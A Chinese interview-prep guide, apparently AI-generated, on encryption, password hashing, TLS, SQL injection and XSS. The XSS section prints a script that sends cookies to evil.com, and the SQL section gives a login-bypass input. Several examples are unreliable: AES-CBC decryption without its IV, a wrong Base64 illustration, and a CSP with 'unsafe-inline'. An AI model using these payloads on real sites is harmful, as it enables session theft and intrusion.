Generated comprehensive interview preparation materials covering: - Distributed systems (transactions, locks, ID generation, consistency) - Database (indexing, sharding, replication, transactions) - Caching (Redis, cache problems, distributed lock) - Message queues (RocketMQ, Kafka) - Concurrency (ThreadLocal, ConcurrentHashMap, thread pools) - JVM (GC, memory, tuning) - System design (seckill, short URL, IM, feed, LBS) - Algorithms (B+ tree, LRU, Red-Black tree, Skip list, Timing wheel) - Network (TCP/IP, HTTP/HTTPS) - Security (encryption, SQL injection, XSS) - Performance tuning - Design patterns - Microservices (Spring Boot, Gateway, Service Mesh) - Container orchestration (Kubernetes, Docker) - CI/CD, observability Each file includes: - Detailed questions - Comprehensive answers - Code examples - Real project experience - Alibaba P7 level requirements Generated with [Claude Code](https://claude.com/claude-code) via [Happy](https://happy.engineering) Co-Authored-By: Claude <noreply@anthropic.com> Co-Authored-By: Happy <yesreply@happy.engineering>
618 lines
16 KiB
Markdown
618 lines
16 KiB
Markdown
# 加密与安全
|
||
|
||
## 问题
|
||
|
||
1. 对称加密和非对称加密的区别是什么?
|
||
2. Base64 是加密吗?为什么?
|
||
3. 什么是数字签名?如何防止数据篡改?
|
||
4. HTTPS 中的 TLS 握手过程是怎样的?
|
||
5. 什么是中间人攻击?如何防范?
|
||
6. SQL 注入和 XSS 攻击的原理和防范措施?
|
||
7. 密码存储的最佳实践是什么?
|
||
8. 在实际项目中如何保证数据安全?
|
||
|
||
---
|
||
|
||
## 标准答案
|
||
|
||
### 1. 对称加密 vs 非对称加密
|
||
|
||
#### **对称加密**
|
||
|
||
**特点**:加密和解密使用同一个密钥。
|
||
|
||
```
|
||
加密:明文 + 密钥 → 密文
|
||
解密:密文 + 密钥 → 明文
|
||
```
|
||
|
||
**常见算法**:
|
||
- **AES**(Advanced Encryption Standard):推荐
|
||
- **DES**(Data Encryption Standard):已过时(密钥太短)
|
||
- **3DES**:DES 的改进,但速度慢
|
||
- **RC4**:已不安全
|
||
|
||
**Java 示例**:
|
||
```java
|
||
import javax.crypto.Cipher;
|
||
import javax.crypto.KeyGenerator;
|
||
import javax.crypto.SecretKey;
|
||
import java.util.Base64;
|
||
|
||
public class AESExample {
|
||
public static void main(String[] args) throws Exception {
|
||
// 生成密钥
|
||
KeyGenerator keyGen = KeyGenerator.getInstance("AES");
|
||
keyGen.init(256); // AES-256
|
||
SecretKey secretKey = keyGen.generateKey();
|
||
|
||
// 加密
|
||
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
|
||
cipher.init(Cipher.ENCRYPT_MODE, secretKey);
|
||
byte[] encrypted = cipher.doFinal("Hello World".getBytes());
|
||
System.out.println("加密:" + Base64.getEncoder().encodeToString(encrypted));
|
||
|
||
// 解密
|
||
cipher.init(Cipher.DECRYPT_MODE, secretKey);
|
||
byte[] decrypted = cipher.doFinal(encrypted);
|
||
System.out.println("解密:" + new String(decrypted));
|
||
}
|
||
}
|
||
```
|
||
|
||
**优点**:
|
||
- 速度快(比非对称加密快 100-1000 倍)
|
||
- 适合加密大量数据
|
||
|
||
**缺点**:
|
||
- 密钥分发困难(如何安全地共享密钥?)
|
||
|
||
---
|
||
|
||
#### **非对称加密**
|
||
|
||
**特点**:加密和解密使用不同的密钥(公钥和私钥)。
|
||
|
||
```
|
||
公钥加密:明文 + 公钥 → 密文
|
||
私钥解密:密文 + 私钥 → 明文
|
||
|
||
或者:
|
||
私钥签名:明文 + 私钥 → 签名
|
||
公钥验签:签名 + 公钥 → 验证
|
||
```
|
||
|
||
**常见算法**:
|
||
- **RSA**:最常用
|
||
- **ECC**(椭圆曲线加密):密钥更短,速度更快
|
||
- **DSA**:数字签名算法
|
||
|
||
**Java 示例**:
|
||
```java
|
||
import java.security.*;
|
||
import javax.crypto.Cipher;
|
||
import java.util.Base64;
|
||
|
||
public class RSAExample {
|
||
public static void main(String[] args) throws Exception {
|
||
// 生成密钥对
|
||
KeyPairGenerator keyGen = KeyPairGenerator.getInstance("RSA");
|
||
keyGen.initialize(2048);
|
||
KeyPair keyPair = keyGen.generateKeyPair();
|
||
PublicKey publicKey = keyPair.getPublic();
|
||
PrivateKey privateKey = keyPair.getPrivate();
|
||
|
||
// 公钥加密
|
||
Cipher cipher = Cipher.getInstance("RSA");
|
||
cipher.init(Cipher.ENCRYPT_MODE, publicKey);
|
||
byte[] encrypted = cipher.doFinal("Hello World".getBytes());
|
||
System.out.println("加密:" + Base64.getEncoder().encodeToString(encrypted));
|
||
|
||
// 私钥解密
|
||
cipher.init(Cipher.DECRYPT_MODE, privateKey);
|
||
byte[] decrypted = cipher.doFinal(encrypted);
|
||
System.out.println("解密:" + new String(decrypted));
|
||
}
|
||
}
|
||
```
|
||
|
||
**优点**:
|
||
- 无需安全分发密钥(公钥可以公开)
|
||
- 可用于数字签名
|
||
|
||
**缺点**:
|
||
- 速度慢(比对称加密慢 100-1000 倍)
|
||
- 不适合加密大量数据
|
||
|
||
---
|
||
|
||
#### **混合加密(HTTPS 使用)**
|
||
|
||
```
|
||
1. 使用非对称加密协商对称密钥
|
||
2. 使用对称密钥加密数据
|
||
```
|
||
|
||
**优点**:
|
||
- 结合两者优点(安全 + 速度)
|
||
|
||
---
|
||
|
||
### 2. Base64 是加密吗?
|
||
|
||
**答案:不是!**
|
||
|
||
**Base64 是编码,不是加密。**
|
||
|
||
**目的**:
|
||
- 将二进制数据转换为 ASCII 字符串
|
||
- 方便在文本协议中传输(如 HTTP、Email)
|
||
|
||
**原理**:
|
||
```
|
||
二进制:01001000 0110101 01011011
|
||
Base64:SGVsbG8=
|
||
|
||
编码表(64 个字符):
|
||
A-Z (26) + a-z (26) + 0-9 (10) + + / (2) = 64
|
||
```
|
||
|
||
**特点**:
|
||
- 可逆(可解码)
|
||
- 无密钥(任何人都能解码)
|
||
- 数据会增大 33%
|
||
|
||
**示例**:
|
||
```java
|
||
import java.util.Base64;
|
||
|
||
public class Base64Example {
|
||
public static void main(String[] args) {
|
||
String original = "Hello World";
|
||
|
||
// 编码
|
||
String encoded = Base64.getEncoder().encodeToString(original.getBytes());
|
||
System.out.println("编码:" + encoded); // SGVsbG8gV29ybGQ=
|
||
|
||
// 解码
|
||
String decoded = new String(Base64.getDecoder().decode(encoded));
|
||
System.out.println("解码:" + decoded); // Hello World
|
||
}
|
||
}
|
||
```
|
||
|
||
**错误用法**:
|
||
```java
|
||
// ❌ 用 Base64 存储密码(不安全)
|
||
String password = "123456";
|
||
String encoded = Base64.getEncoder().encodeToString(password.getBytes());
|
||
// 存储到数据库
|
||
// 攻击者可以直接解码!
|
||
```
|
||
|
||
---
|
||
|
||
### 3. 数字签名
|
||
|
||
#### **原理**
|
||
|
||
数字签名用于验证:
|
||
1. **完整性**:数据未被篡改
|
||
2. **身份认证**:发送者确实是声称的人
|
||
3. **不可抵赖**:发送者无法否认发送过
|
||
|
||
**流程**:
|
||
```
|
||
发送方(签名):
|
||
1. 对原文计算哈希:hash = SHA256(原文)
|
||
2. 用私钥加密哈希:signature = RSA_Encrypt(hash, 私钥)
|
||
3. 发送:原文 + signature
|
||
|
||
接收方(验签):
|
||
1. 对原文计算哈希:hash1 = SHA256(原文)
|
||
2. 用公钥解密签名:hash2 = RSA_Decrypt(signature, 公钥)
|
||
3. 对比 hash1 和 hash2
|
||
- 相同 → 签名有效
|
||
- 不同 → 数据被篡改
|
||
```
|
||
|
||
---
|
||
|
||
#### **Java 实现**
|
||
|
||
```java
|
||
import java.security.*;
|
||
import java.util.Base64;
|
||
|
||
public class DigitalSignatureExample {
|
||
public static void main(String[] args) throws Exception {
|
||
// 生成密钥对
|
||
KeyPairGenerator keyGen = KeyPairGenerator.getInstance("RSA");
|
||
keyGen.initialize(2048);
|
||
KeyPair keyPair = keyGen.generateKeyPair();
|
||
PrivateKey privateKey = keyPair.getPrivate();
|
||
PublicKey publicKey = keyPair.getPublic();
|
||
|
||
// 待签名数据
|
||
String data = "重要合同内容";
|
||
|
||
// 签名
|
||
Signature signature = Signature.getInstance("SHA256withRSA");
|
||
signature.initSign(privateKey);
|
||
signature.update(data.getBytes());
|
||
byte[] signatureBytes = signature.sign();
|
||
System.out.println("签名:" + Base64.getEncoder().encodeToString(signatureBytes));
|
||
|
||
// 验签
|
||
signature.initVerify(publicKey);
|
||
signature.update(data.getBytes());
|
||
boolean isValid = signature.verify(signatureBytes);
|
||
System.out.println("验签结果:" + isValid);
|
||
}
|
||
}
|
||
```
|
||
|
||
---
|
||
|
||
#### **实际应用**
|
||
|
||
1. **软件签名**:验证软件来源
|
||
2. **代码签名**:防止代码被篡改
|
||
3. **PDF 签名**:电子合同
|
||
4. **JWT(JSON Web Token)**:API 认证
|
||
|
||
```java
|
||
// JWT 示例
|
||
String token = Jwts.builder()
|
||
.setSubject("user123")
|
||
.signWith(Keys.hmacShaKeyFor(secretKey), SignatureAlgorithm.HS256)
|
||
.compact();
|
||
|
||
// 验证 JWT
|
||
Claims claims = Jwts.parserBuilder()
|
||
.setSigningKey(secretKey)
|
||
.build()
|
||
.parseClaimsJws(token)
|
||
.getBody();
|
||
```
|
||
|
||
---
|
||
|
||
### 4. SQL 注入攻击
|
||
|
||
#### **原理**
|
||
|
||
攻击者在输入中注入恶意 SQL 代码。
|
||
|
||
**示例**:
|
||
```java
|
||
// ❌ 不安全的代码(拼接 SQL)
|
||
String username = request.getParameter("username");
|
||
String password = request.getParameter("password");
|
||
String sql = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'";
|
||
|
||
// 攻击者输入:
|
||
username = "admin' OR '1'='1";
|
||
password = "anything"
|
||
|
||
// 实际执行的 SQL:
|
||
SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'anything'
|
||
// 结果:永远为真,绕过密码验证!
|
||
```
|
||
|
||
**危害**:
|
||
- 绕过认证
|
||
- 窃取数据
|
||
- 删除数据
|
||
- 提升权限
|
||
|
||
---
|
||
|
||
#### **防范措施**
|
||
|
||
**1. 使用预编译语句(PreparedStatement)**:
|
||
|
||
```java
|
||
// ✅ 安全代码
|
||
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
|
||
PreparedStatement stmt = connection.prepareStatement(sql);
|
||
stmt.setString(1, username);
|
||
stmt.setString(2, password);
|
||
ResultSet rs = stmt.executeQuery();
|
||
```
|
||
|
||
**原理**:参数化查询,SQL 结构固定,参数不会被解析为 SQL 代码。
|
||
|
||
---
|
||
|
||
**2. 输入验证**:
|
||
|
||
```java
|
||
// 验证用户名格式
|
||
if (!username.matches("^[a-zA-Z0-9_]{3,20}$")) {
|
||
throw new IllegalArgumentException("用户名格式不正确");
|
||
}
|
||
```
|
||
|
||
---
|
||
|
||
**3. 最小权限原则**:
|
||
|
||
```sql
|
||
-- 应用用户只授予必要权限
|
||
GRANT SELECT, INSERT, UPDATE ON app_db.* TO 'app_user'@'localhost';
|
||
-- 不要授予 DROP、ALTER 等危险权限
|
||
```
|
||
|
||
---
|
||
|
||
**4. 使用 ORM**:
|
||
|
||
```java
|
||
// JPA/Hibernate 自动防止 SQL 注入
|
||
User user = userRepository.findByUsernameAndPassword(username, password);
|
||
```
|
||
|
||
---
|
||
|
||
### 5. XSS 攻击(跨站脚本攻击)
|
||
|
||
#### **原理**
|
||
|
||
攻击者在网页中注入恶意 JavaScript 代码。
|
||
|
||
**示例**:
|
||
```html
|
||
<!-- 用户输入评论 -->
|
||
<script>
|
||
// 攻击者注入的代码
|
||
fetch('https://evil.com/steal?cookie=' + document.cookie);
|
||
</script>
|
||
```
|
||
|
||
**危害**:
|
||
- 窃取 Cookie
|
||
- 会话劫持
|
||
- 重定向到钓鱼网站
|
||
- 篡改网页内容
|
||
|
||
---
|
||
|
||
#### **防范措施**
|
||
|
||
**1. 输出转义**:
|
||
|
||
```java
|
||
// 使用 Spring 的 HTML 转义
|
||
import org.springframework.web.util.HtmlUtils;
|
||
|
||
String userInput = "<script>alert('XSS')</script>";
|
||
String escaped = HtmlUtils.htmlEscape(userInput);
|
||
// 输出:<script>alert('XSS')</script>
|
||
```
|
||
|
||
---
|
||
|
||
**2. CSP(Content Security Policy)**:
|
||
|
||
```http
|
||
# HTTP 响应头
|
||
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'
|
||
```
|
||
|
||
---
|
||
|
||
**3. HttpOnly Cookie**:
|
||
|
||
```java
|
||
// 设置 Cookie 为 HttpOnly(JavaScript 无法访问)
|
||
Cookie cookie = new Cookie("session", token);
|
||
cookie.setHttpOnly(true);
|
||
cookie.setSecure(true); // 仅 HTTPS 传输
|
||
response.addCookie(cookie);
|
||
```
|
||
|
||
---
|
||
|
||
**4. 输入验证**:
|
||
|
||
```java
|
||
// 白名单验证
|
||
if (!comment.matches("[a-zA-Z0-9 \\u4e00-\\u9fa5]+")) {
|
||
throw new IllegalArgumentException("评论包含非法字符");
|
||
}
|
||
```
|
||
|
||
---
|
||
|
||
### 6. 密码存储
|
||
|
||
#### **错误做法**
|
||
|
||
```java
|
||
// ❌ 明文存储
|
||
password = "123456";
|
||
|
||
// ❌ Base64 编码(可逆)
|
||
password = Base64.getEncoder().encodeToString("123456".getBytes());
|
||
|
||
// ❌ MD5 哈希(易被彩虹表破解)
|
||
password = DigestUtils.md5Hex("123456"); // e10adc3949ba59abbe56e057f20f883e
|
||
```
|
||
|
||
---
|
||
|
||
#### **正确做法:BCrypt**
|
||
|
||
**特点**:
|
||
- 自动加盐(Salt)
|
||
- 慢哈希(防暴力破解)
|
||
- 可调整计算成本
|
||
|
||
```java
|
||
import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;
|
||
|
||
public class PasswordExample {
|
||
public static void main(String[] args) {
|
||
BCryptPasswordEncoder encoder = new BCryptPasswordEncoder();
|
||
|
||
// 加密(自动加盐)
|
||
String rawPassword = "123456";
|
||
String encodedPassword = encoder.encode(rawPassword);
|
||
System.out.println("加密后:" + encodedPassword);
|
||
// 输出:$2a$10$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy
|
||
|
||
// 验证
|
||
boolean matches = encoder.matches(rawPassword, encodedPassword);
|
||
System.out.println("验证结果:" + matches); // true
|
||
}
|
||
}
|
||
```
|
||
|
||
---
|
||
|
||
#### **密码存储最佳实践**
|
||
|
||
1. **使用慢哈希算法**:
|
||
- BCrypt(推荐)
|
||
- Argon2(最新)
|
||
- PBKDF2
|
||
- Scrypt
|
||
|
||
2. **每个密码独立的盐**:
|
||
```java
|
||
salt = random_bytes(16);
|
||
hashed_password = hash(password + salt);
|
||
```
|
||
|
||
3. **调整计算成本**:
|
||
```java
|
||
// BCrypt 成本参数(10-12 为宜)
|
||
BCryptPasswordEncoder encoder = new BCryptPasswordEncoder(12);
|
||
```
|
||
|
||
4. **不要自己发明加密算法**
|
||
|
||
---
|
||
|
||
### 7. HTTPS 完整流程
|
||
|
||
```
|
||
客户端 服务器
|
||
│ │
|
||
│─────── ClientHello ────────────→│
|
||
│ (支持的加密套件、随机数1) │
|
||
│ │
|
||
│←────── ServerHello ─────────────│
|
||
│ (选择的加密套件、随机数2、证书) │
|
||
│←────── Certificate ─────────────│
|
||
│ │
|
||
│─────── 验证证书 ────────────────│
|
||
│ (检查 CA 签名、有效期等) │
|
||
│ │
|
||
│─────── 生成随机数3 ─────────────→│
|
||
│─────── 用公钥加密随机数3 ─────────→│
|
||
│ │
|
||
│ 服务器用私钥解密
|
||
│ 生成会话密钥:
|
||
│ master_secret = PRF(随机数1, 随机数2, 随机数3)
|
||
│ │
|
||
│←─────── ChangeCipherSpec ────────│
|
||
│←─────── Finished ────────────────│
|
||
│ (用会话密钥加密,证明安全) │
|
||
│ │
|
||
│─────── ChangeCipherSpec ─────────→│
|
||
│─────── Finished ────────────────→│
|
||
│ (用会话密钥加密) │
|
||
│ │
|
||
│══════ 加密通信 ══════════════════│
|
||
│ (使用会话密钥对称加密) │
|
||
```
|
||
|
||
---
|
||
|
||
### 8. 中间人攻击
|
||
|
||
#### **原理**
|
||
|
||
攻击者拦截并可能篡改通信双方的通信内容。
|
||
|
||
```
|
||
客户端 攻击者 服务器
|
||
│ │ │
|
||
├─── HTTPS 请求 ────→│ │
|
||
│ ├─── 伪造请求 ───────→│
|
||
│ │ │
|
||
│←──── 伪造响应 ──────│←──── 真实响应 ──────│
|
||
│←────────────────────│ │
|
||
```
|
||
|
||
---
|
||
|
||
#### **防范措施**
|
||
|
||
**1. HTTPS + 证书验证**:
|
||
- 验证服务器证书
|
||
- 检查证书链
|
||
- 验证证书有效期
|
||
|
||
**2. HSTS(HTTP Strict Transport Security)**:
|
||
```http
|
||
Strict-Transport-Security: max-age=31536000; includeSubDomains
|
||
```
|
||
|
||
**3. 证书固定(Certificate Pinning)**:
|
||
```java
|
||
// 移动应用中固定证书
|
||
public class CertificatePinner {
|
||
private static final String KNOWN_CERT = "SHA256:AAAAAAAAA...";
|
||
|
||
public void verifyCertificate(X509Certificate cert) {
|
||
String certHash = calculateCertificateHash(cert);
|
||
if (!certHash.equals(KNOWN_CERT)) {
|
||
throw new SSLException("证书不匹配");
|
||
}
|
||
}
|
||
}
|
||
```
|
||
|
||
---
|
||
|
||
### 9. 实际项目安全实践
|
||
|
||
#### **安全检查清单**
|
||
|
||
- [ ] 所有用户输入都经过验证和转义
|
||
- [ ] 密码使用 BCrypt 存储且每次加不同的盐
|
||
- [ ] 敏感数据在传输时使用 HTTPS 加密
|
||
- [ ] 敏感数据在存储时使用 AES 加密
|
||
- [ ] API 使用 JWT 或 OAuth2 认证
|
||
- [ ] 实施 CSRF 防护(CSRF Token)
|
||
- [ ] 实施 CORS 限制
|
||
- [ ] 设置安全响应头(CSP、X-Frame-Options 等)
|
||
- [ ] 定期进行安全审计和渗透测试
|
||
- [ ] 使用依赖扫描工具检查漏洞
|
||
|
||
---
|
||
|
||
### 10. 阿里 P7 加分项
|
||
|
||
**深度理解**:
|
||
- 理解各种加密算法的数学原理
|
||
- 理解 TLS 1.3 的改进
|
||
- 理解零知识证明等高级加密技术
|
||
|
||
**实战经验**:
|
||
- 有处理线上安全漏洞的经验
|
||
- 有设计安全架构的经验
|
||
- 有加密性能优化的经验
|
||
|
||
**架构能力**:
|
||
- 能设计安全的认证和授权体系
|
||
- 能设计数据加密方案
|
||
- 能制定安全开发规范
|
||
|
||
**合规要求**:
|
||
- 了解 GDPR、等保等安全合规要求
|
||
- 有安全审计和风险评估经验
|